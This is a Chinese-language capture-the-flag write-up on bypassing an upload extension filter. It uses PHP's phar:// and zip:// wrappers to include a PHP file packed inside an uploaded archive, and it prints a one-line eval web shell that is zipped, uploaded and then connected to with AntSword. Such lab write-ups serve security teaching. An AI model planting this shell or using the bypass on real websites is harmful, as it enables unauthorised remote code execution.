文件上传伪协议
开始可以看到访问upload文件会自动补全后缀,然后上传一张1.jpg文件可以上传成功但是没什么用,还可以题目说还可以上传压缩包,那么可以利用phar://协议和zip://协议
- phar://协议
- phar:///tmp/zip.jpg/1.php
- /tmp/zip.jpg 表示要解析的压缩包,与扩展名无关,如只允许abc格式文件上传,那么可以上传zip.abc格式压缩包
- 1.php表示压缩包中的文件
- zip://和phar://不同的是压缩包和文件分隔符不一样,使用#
- zip:///tmp/zip.jpg#1.php
如果限制了扩展名且能上传压缩包时,可以将文件放进压缩包再上传,然后使用伪协议读取
写个一句话木马,内容如下:
<?php phpinfo(); @eval($_POST["cmd"]); ?>
将其压缩为压缩包,并上传
上传成功并且可以下载导,用伪协议读取一下
可以看到phpinfo();执行成功
然后蚁剑连接在根目录下可以看到flag